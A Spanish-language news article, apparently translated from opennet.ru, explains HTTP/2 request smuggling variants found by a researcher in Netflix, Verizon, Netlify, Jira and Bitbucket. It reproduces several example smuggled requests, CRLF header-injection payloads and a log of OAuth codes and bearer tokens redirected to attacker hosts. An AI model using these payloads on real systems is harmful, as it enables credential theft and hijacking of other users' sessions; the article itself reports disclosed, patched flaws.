Los sistemas web en los que el frontend acepta conexiones a través de HTTP/2 y las transmite al backend por medio de HTTP/1.1, están expuestos a una nueva variante del ataque ‘HTTP Request Smuggling’, que permite infiltrarse en el contenido de las solicitudes de otros usuarios mediante el envío de solicitudes de cliente especialmente formateadas, procesadas en el mismo flujo entre el frontend y el backend. El ataque puede ser utilizado para inyectar código JavaScript malicioso en una sesión con un sitio legítimo, eludir sistemas de restricción de acceso y interceptar parámetros de autenticación.
El problema afecta a proxys web, balanceadores de carga, aceleradores web, sistemas de entrega de contenido y otras configuraciones donde las solicitudes son redirigidas en el esquema frontend-backend. El autor del estudio demostró la posibilidad de ataque en sistemas como Netflix, Verizon, Bitbucket, Netlify CDN y Atlassian, y recibió 56,000 dólares en programas de recompensas por la identificación de vulnerabilidades. La existencia del problema también ha sido confirmada en productos de F5 Networks. Parcialmente, el problema afecta a mod_proxy en el servidor http de Apache (CVE-2021-33193), se espera una corrección en la versión 2.4.49 (los desarrolladores fueron notificados sobre el problema a principios de mayo y tuvieron 3 meses para corregirlo). En nginx, la posibilidad de especificar simultáneamente los encabezados ‘Content-Length’ y ‘Transfer-Encoding’ fue bloqueada en la última versión (1.21.1). Herramientas para llevar a cabo ataques ya han sido añadidas al conjunto de herramientas Burp y están disponibles en forma de extensión Turbo Intruder.
El principio de funcionamiento del nuevo método de infiltración de solicitudes en el tráfico es similar a la vulnerabilidad encontrada por el mismo investigador hace dos años, pero limitada a frontends que aceptan solicitudes a través de HTTP/1.1. Recordemos que en el esquema frontend-backend, un nodo adicional - el frontend - acepta las solicitudes de los clientes, estableciendo una conexión TCP de larga duración con el backend, que realiza el procesamiento directo de las solicitudes. A través de esta conexión compartida, generalmente se transmiten solicitudes de diferentes usuarios, que siguen una tras otra, separadas por los medios del protocolo HTTP.
El ataque clásico de «HTTP Request Smuggling» se basaba en la diferencia de interpretación de los encabezados HTTP «Content-Length» (que define el tamaño total de los datos en la solicitud) y «Transfer-Encoding: chunked» (que permite enviar datos en partes) entre los frontends y backends. Por ejemplo, si el frontend solo admite «Content-Length» pero ignora «Transfer-Encoding: chunked», el atacante puede enviar una solicitud que especifique ambas cabeceras, «Content-Length» y «Transfer-Encoding: chunked», pero con un tamaño en «Content-Length» que no coincide con el tamaño de la cadena chunked. En este caso, el frontend procesará y redirigirá la solicitud de acuerdo con «Content-Length», mientras que el backend esperará el final del bloque basado en «Transfer-Encoding: chunked», resultando en que el resto de la solicitud del atacante se coloque al inicio de una solicitud ajena que se envía a continuación.
A diferencia del protocolo de texto HTTP/1.1, cuya interpretación se realiza a nivel de líneas, HTTP/2 es un protocolo binario que manipula bloques de datos de tamaño previamente especificado. En HTTP/2, se utilizan pseudo-encabezados que corresponden a los encabezados normales de HTTP. Al interactuar con el backend a través del protocolo HTTP/1.1, el frontend traduce estos pseudo-encabezados en encabezados HTTP equivalentes de HTTP/1.1. El problema es que el backend toma decisiones sobre el análisis del flujo únicamente basado en los encabezados HTTP que el frontend ha establecido, sin tener información sobre los parámetros de la solicitud original.
Incluso en forma de pseudo-encabezados, se pueden transmitir los valores «content-length» y «transfer-encoding», a pesar de que en HTTP/2 no se utilizan, ya que el tamaño de todos los datos se determina en un campo separado. Sin embargo, durante el proceso de conversión de una solicitud de HTTP/2 a HTTP/1.1, estos encabezados se transfieren y pueden confundir al backend. Se destacan dos variantes principales de ataque: H2.TE y H2.CL, en las cuales el backend se confunde con valores incorrectos de transfer-encoding o content-length que no corresponden al tamaño real del cuerpo de la solicitud que llegó al frontend a través del protocolo HTTP/2.

Como ejemplo del ataque H2.CL, se menciona la especificación de un tamaño incorrecto en el pseudo-encabezado content-length al enviar una solicitud HTTP/2 a Netflix. Esta solicitud provoca la adición de un encabezado HTTP similar, Content-Length, al hacer la llamada al backend a través de HTTP/1.1, pero dado que el tamaño en Content-Length es menor que el real, parte de los datos al final se procesan como el inicio de la siguiente solicitud.
Por ejemplo, la solicitud HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Provocará que se envíe al backend la solicitud: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Dado que Content-Length tiene un valor de 4, el backend interpretará como cuerpo de la solicitud solo «abcd», y el resto «GET /n HTTP/1.1…» se procesará como el inicio de la siguiente solicitud, vinculada a otro usuario. Por lo tanto, se producirá una desincronización de flujo y, en respuesta a la siguiente solicitud, se devolverá el resultado del procesamiento de una solicitud falsa. En el caso de Netflix, la inclusión de un host externo en el encabezado «Host:» en la solicitud falsa provocó que se devolviera al cliente una respuesta «Location: https://02.rs?x.netflix.com/n» y permitió enviar al cliente contenido arbitrario, incluso ejecutar su propio código JavaScript en el contexto del sitio Netflix.
La segunda variante del ataque (H2.TE) está relacionada con la inclusión del encabezado «Transfer-Encoding: chunked». El uso del pseudo-encabezado transfer-encoding en HTTP/2 está prohibido por la especificación, y las solicitudes que contienen este encabezado deben ser interpretadas como incorrectas. A pesar de esto, algunas implementaciones de frontends no cumplen con este requerimiento y permiten el uso del pseudo-encabezado transfer-encoding en HTTP/2, que se convierte en un encabezado HTTP similar. Cuando se presenta el encabezado «Transfer-Encoding», el backend puede interpretarlo como más prioritario y procesar los datos por partes en modo «chunked» utilizando bloques de diferentes tamaños en el formato «{tamaño}\r\n{bloque}\r\n{tamaño}\r\n{bloque}\r\n0», a pesar de la división inicial por el tamaño total.
La existencia de tal vulnerabilidad se demostró en el caso de la empresa Verizon. Esto afectó al portal de autenticación y del sistema de gestión de contenido, que también se utiliza en sitios como Huffington Post y Engadget. Por ejemplo, la solicitud del cliente por HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Se llevó a cabo la transmisión de un request al backend en HTTP/1.1: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
El backend, a su vez, ignoró el encabezado 'Content-Length' y realizó el fragmentado en el flujo basado en 'Transfer-Encoding: chunked'. En la práctica, este ataque permitió redirigir las solicitudes de los usuarios hacia su propio sitio y, entre otras cosas, interceptar solicitudes relacionadas con la autenticación OAuth, cuyos parámetros se mostraban en el encabezado Referer, así como simular una sesión de autenticación e iniciar el envío de las credenciales del usuario al host del atacante. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Para atacar implementaciones de HTTP/2 que no permiten la especificación del pseudo-encabezado transfer-encoding, se propuso otro método relacionado con la inyección del encabezado 'Transfer-Encoding' mediante la adición a otros pseudo-encabezados separados por un carácter de nueva línea (al transformarse en HTTP/1.1 en este caso se crean dos encabezados HTTP separados).
Por ejemplo, la problemática mencionada afectó a Atlassian Jira y al CDN de Netlify (utilizado para servir la página de inicio de Mozilla en Firefox). En particular, la solicitud HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
resultó en el envío al backend de la solicitud HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Otra variante de inyección del encabezado 'Transfer-Encoding' consistió en agregarlo al nombre de otro pseudo-encabezado o a la cadena con el método de solicitud. Por ejemplo, al acceder a Atlassian Jira, el nombre del pseudo-encabezado 'foo: bar\r\ntransfer-encoding' con el valor 'chunked' resultaba en la adición de los encabezados HTTP 'foo: bar' y 'transfer-encoding: chunked', y la especificación en el pseudo-encabezado ':method' del valor 'GET / HTTP/1.1\r\nTransfer-encoding: chunked' se traducía a 'GET / HTTP/1.1\r\ntransfer-encoding: chunked'.
El investigador que identificó el problema también propuso una técnica de tunelización de solicitudes para llevar a cabo un ataque a los frontales, en los cuales para cada IP se establece una conexión separada con el backend y el tráfico de diferentes usuarios no se mezcla. La técnica propuesta no permite interferir en las solicitudes de otros usuarios, pero ofrece la posibilidad de envenenar la caché compartida, lo que afecta al procesamiento de otras solicitudes, y permite realizar sustituciones de los encabezados HTTP internos que se utilizan para transmitir información de servicio del frontend al backend (por ejemplo, durante la autenticación en el lado del frontend, se pueden transmitir al backend detalles sobre el usuario actual en dichos encabezados). Como ejemplo de aplicación del método en la práctica, se logró obtener control sobre las páginas en el servicio Bitbucket mediante el envenenamiento de la caché.
Fuente: opennet.ru
